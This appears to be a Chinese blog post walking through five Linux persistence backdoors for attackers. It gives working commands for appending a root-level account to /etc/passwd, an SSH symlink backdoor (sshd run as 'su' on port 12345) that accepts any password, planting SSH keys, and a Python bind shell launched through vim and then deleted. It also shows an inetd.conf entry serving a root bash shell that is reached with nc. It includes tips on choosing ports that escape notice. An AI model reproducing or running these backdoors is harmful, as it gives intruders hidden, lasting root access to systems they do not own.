Linux权限维持
以为那一刻是命运的齿轮在转动………
好了不废话了。
1.passwd增加用户
用户目录与密码目录的所在位置以及解释
/etc/passwd进入目录
(目录内容解释)
root:x:0:0:root:/root:/usr/bin/zsh
用户名:口令:uid:组id:备注:家目录:登入shell
/etc/shadow
(目录内容解释)
root:$y$j9T$jOd7E6DLFdmgM3x6gciyA/$KHsDhTVuf:19404:0:99999:7:::
用户名:密码:上次密码更改的时间:最小修改时间的间隔:密码永久有效:密码变更前的警告天数:密码过期后的宽限时间:账号的失效时间
增加超级用户
perl -le 'print crypt("passwd","salt")'
echo "m123:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd
![图片[1]-Linux权限维持](http://www.20xiaohai.cn/wp-content/uploads/2024/02/image-2-1024x548.png)
![图片[2]-Linux权限维持](http://www.20xiaohai.cn/wp-content/uploads/2024/02/image-3-1024x548.png)
可以看到ssh可以链接到
![图片[3]-Linux权限维持](http://www.20xiaohai.cn/wp-content/uploads/2024/02/image-4-1024x751.png)
2.SSH 软连接后门
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过
程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测
uid 0 即可认证成功,这样就导致了可以使用任意密码登录
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
![图片[4]-Linux权限维持](http://www.20xiaohai.cn/wp-content/uploads/2024/02/image-5.png)
优点:能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成
8081,8080等端口。
3.SSH 公钥免密码登陆
3个步骤的简单设置而无需输入密码就能登录远程Linux主机。
ssh-keygen 创建公钥和密钥。
ssh-copy-id 把本地主机的公钥复制到远程主机的authorized_keys文件上。
ssh-copy-id 也会给远程主机的用户主目录(home)和~/.ssh, 和~/.ssh/authorized_keys设置合适的权限 。
现在本地创建公钥密钥
ssh-keygen -t rsa
输入完命令一直按回车就行
![图片[5]-Linux权限维持](http://www.20xiaohai.cn/wp-content/uploads/2024/02/image-6-1024x519.png)
用 ssh-copy-id 把公钥复制到远程主机上
ssh-copy-id -i ~/.ssh/id_rsa.pub root@172.20.10.3
![图片[6]-Linux权限维持](http://www.20xiaohai.cn/wp-content/uploads/2024/02/image-7-1024x335.png)
直接登录远程主机
ssh 172.20.10.3
![图片[7]-Linux权限维持](http://www.20xiaohai.cn/wp-content/uploads/2024/02/image-8-1024x548.png)
输入exit可断开链接
![图片[8]-Linux权限维持](http://www.20xiaohai.cn/wp-content/uploads/2024/02/image-9-1024x701.png)
4.vim python 扩展后门
适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。
原理很简单。新建一个socket,并将0、1、2分别代表系统的stdin、stdout、stderr(标准输入、输出、错误)重定向到socket中,然后开启一个shell。这样我们从socket中传来的命令就会进入系统的标准输入(就跟键盘输入的效果一样了),系统的输出和错误就会重定向到socket中,被我们客户端获取。但这个弹shell脚本只能在linux下使用。
在靶机上创建恶意脚本
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('192.168.2.18',1234))
server.listen(5)
print ('waiting for connect')
talk, addr = server.accept()
print ('connect from',addr)
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
![图片[9]-Linux权限维持](http://www.20xiaohai.cn/wp-content/uploads/2024/02/image-12-1024x548.png)
攻击机打开监听
![图片[10]-Linux权限维持](http://www.20xiaohai.cn/wp-content/uploads/2024/02/image-13-1024x548.png)
靶机执行命令
(nohup vim -E -c "py3file xiaohai.py"> /dev/null 2>&1 &) && sleep 2 && rm -f xiaohai.py
然后就可以收到shell了,我这里就不放图片了,因为我的kali上没有py3file,嘿,嘿嘿。
5.inetd服务后门
inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到
一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的
这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自
外部的某个socket是要执行一个可交互的shell,就获取了一个后门。
靶机修改/etc/inetd.conf
vim /etc/inetd.conf
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
xiaohai stream tcp nowait root /bin/bash bash -i
![图片[11]-Linux权限维持](http://www.20xiaohai.cn/wp-content/uploads/2024/02/image-14-1024x568.png)
修改默认端口/etc/services
vim /etc/services
xiaohai 6666/tcp
![图片[12]-Linux权限维持](http://www.20xiaohai.cn/wp-content/uploads/2024/02/image-15-1024x605.png)
执行inetd(非要知道这个命令是干啥的自可自行GPT去)
![图片[13]-Linux权限维持](http://www.20xiaohai.cn/wp-content/uploads/2024/02/image-16-1024x570.png)
然后攻击机直接链接
nc -vv 192.168.2.161 60180
![图片[14]-Linux权限维持](http://www.20xiaohai.cn/wp-content/uploads/2024/02/image-17-1024x662.png)


















